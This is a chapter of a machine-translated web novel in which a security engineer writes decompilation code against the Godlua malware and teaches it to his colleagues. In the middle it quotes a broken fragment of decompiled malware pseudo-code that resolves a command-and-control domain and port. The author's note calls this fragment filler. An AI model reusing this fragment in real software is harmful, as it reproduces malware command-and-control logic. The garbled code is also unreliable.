Top actresses want me to confess

Chapter 74 Decompilation

The sound of clattering keyboards continued to echo densely in Chen Gewei's room. He was focused at the moment, staring at the screen silently.

Fingers fly quickly on the keyboard, and occasionally click the mouse twice to check the compilation status.

The floor-to-ceiling windows behind him changed from dark black to clear gray, and then to light and transparent. Chen Gewei didn't sleep all night, and he was always working.

Since last night, his mood has been in a very happy state.The philosophy and knowledge in his mind still prevailed, but the secretion of dopamine kept his emotions at a high level from a physiological point of view.

As a result, breakthroughs have been made when researching vulnerability response methods later.

He wrote a special unpacking and decompilation code for Godlua software to identify the malware in it.

Although it will slightly reduce the speed of user access, it greatly improves security and improves the efficiency of blocking malicious attacks.

But at the same time, Chen Gewei also knew clearly that Yin Xiangyu did not come back all night.

Although he has been concentrating on typing on the keyboard, he can still hear the loud sound of closing and opening the door very clearly.

Now that the sun is high in the sky, it seems that Yin Xiangyu's progress was very fast last night.

After finally confirming the results of his work on one side, Chen Gewei immediately transferred the file to his laptop, then quickly closed the computer, got up and walked out of the room.

However, just as he was packing his notebook and was about to leave the apartment on his back, the door of the apartment was suddenly opened.

Yin Xiangyu with a sneaky face appeared behind the door, carefully poked inside, and then saw Chen Gewei, who was already carrying a bag, standing in the living room looking at him.

"Hey? Are you going so early?"

Yin Xiangyu asked unexpectedly, and at the same time quickly walked into the apartment, trying to get over the fact that he didn't return at night.

Chen Gewei looked him up and down, then walked towards the entrance calmly, and at the same time carefully smelled the smell in the air with his nose.

"Wine...perfume...it seems to be a classic plot."

After Chen Gewei smelled two key factors, he immediately made an inference.

Although his tone was still very flat, the content of his speech sounded like a joke.

"No no no no."

Yin Xiangyu immediately denied it three times, waved his hands frantically and said.

"I just drank a little wine last night, a little too much, and slept at her house, but on the sofa."

"I didn't say anything."

Chen Gewei said indifferently, lowering his head and putting on his shoes calmly.

"I don't care even if you have sex with her. Her life is pretty normal. It's your freedom to do what you want with her."

"I... I haven't drunk for a long time, so I feel a little overwhelmed when I suddenly drink it. Don't you like the taste of wine?"

Yin Xiangyu quickly explained to Chen Gewei.

The latter raised his head, nodded slightly, and then said flatly.

"What you said is like my male roommate, but it's a pity that Han Chengshu couldn't hear it."

Yin Xiangyu was speechless for a while, but seeing Chen Gewei who was about to go out, he still asked a question with concern.

"Is there something wrong with you coming so early?"

"No."

Chen Gewei shook his head indifferently.

"I wrote a short counter-program, let's try it in the past."

"okay."

Yin Xiangyu thought for a moment, then nodded seriously.

"I'll be there right away."

"Then you'd better choose a nicer set of clothes, after all, today is the first day."

Chen Gewei stood outside the door and talked to Yin Xiangyu, then turned around and walked towards the elevator.

"Hey, I really didn't do anything!"

Yin Xiangyu chased him out to explain, but Chen Gewei completely ignored him and pressed the elevator button calmly.

……

Fifteen minutes later, at Lianzhong Network Security Company, Pu Xuelin, who was on duty, was surprised to see Chen Gewei appear at the door of the company, and then walked quickly to the computer room.

In addition to Pu Xuelin, there are three other engineers who are also staying at the company on duty. The surprise on their faces is not much less than Pu Xuelin's.

Chen Gewei with a calm face walked quickly past Pu Xuelin, quickly took off his sports backpack, handed it to Pu Xuelin beside him, and then said lightly.

"Turn on my computer."

Pu Xuelin quickly followed suit, carrying the bag to Chen Gewei's work station, unzipped the zipper, took out the notebook, and unfolded it on the table.

The other three engineers seemed to have sensed something, and gathered around.

Chen Gewei's computer was not turned off, and after turning it on, there was a long series of codes, which were quite complicated.

v2 = gethostbyname(“d.heheda.tk”);
if ( v2 )
v3 =**(_DWORD**)v2->h_addr_list;
else
v3 = 0;
ccip = v3;
v4 = xorkey;
ccport = ox22FF;
strcpy(v9, "

v0=(void *)http_init(1);
http_set_headers(
v0,

"User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0;+httpv1 = http_get((int)v0，v9);
if (v1 &&*(_DWORD *)(v1 + 16))
{
v2 = strstr(*(const char **)(v1+20), "\"description\":\""' v3 = (int)(v2+15);
v4 = strstr(v2,"\",");
*v4 = 0;
v5 = "d.heheda.tk";
if ( v4 !=(char *)v3 )
v5 =(const char *)v3;
v6 = gethostbyname(v5);
if ( v6 )
v7 =**(_DWORD**)v6->h_addr_list;
else
v7 = 0;ccip = v7;
env = 0;
ccport = 0x22FF;
…………

Piao Xuelin and the others looked bald for a while after looking at a large amount of code. After careful study for more than ten minutes, they could roughly see the redundant function and encryption algorithm in it. However, these are only two small pieces of it.

While several people were studying carefully, Chen Gewei had already walked out of the computer room and quickly walked behind everyone.

The four subordinate engineers immediately stood up to make room for Chen Gewei.

But Chen Gewei pushed Pu Xuelin back, pointed at the screen, and began to explain to the four of them.

"I studied the approximate functions of Godlua at night, here is redundancy and encryption, and then the hardcoded and Pastebin text can be unpacked..."

Chen Gewei explained the functions of the newly written code to Pu Xuelin and others very professionally.

There were many employees who had just come to work in the middle, and when they saw them explaining here, they all came over and watched together.

Gradually, the situation evolved into a situation where people came to the center of the office and watched the slides played by the projector connected to Chen Gewei's laptop, and then Chen Gewei started to give them lectures like a teacher.

At nine o'clock, when Jin Shangxun came to the company with a haggard face, Mr. Chen Gewei's class had basically ended, and all the engineers had fully understood and mastered the new safety protection measures written by Chen Gewei.

The eyes of everyone looking at Chen Gewei returned to the way they used to be, as if they were looking at God.

Jin Shangxun didn't leave his briefcase, and walked quickly to Chen Gewei's side, asking with concern.

"What did you research again?"

Chen Gewei turned his head to look at Jin Shangxun, yawned a lot, and said calmly.

"I stayed up all night and made a small unpacking and decompilation code. It still can't achieve complete protection, but at least 50% can be blocked."

With that said, Chen Gewei raised his finger and pointed at the people who returned to their seats.

"Most of them know it now, I've got Pu Xuelin to pretend, and I'm going back to sleep."

After the words fell, Chen Gewei yawned again, then picked up his backpack and walked towards the door.

With a dazed face, Jin Shangxun turned his head, looked at Chen Gewei who had just left, doubted what he had just heard, then turned around quickly, and walked in the direction of Pu Xuelin.

　The water string code is not a few characters anyway, and during the free period, this long string of characters is really only a hundred characters.

　　The main purpose is to reflect the complexity, not too many points, how to reflect the complexity.

　　
　
(End of this chapter)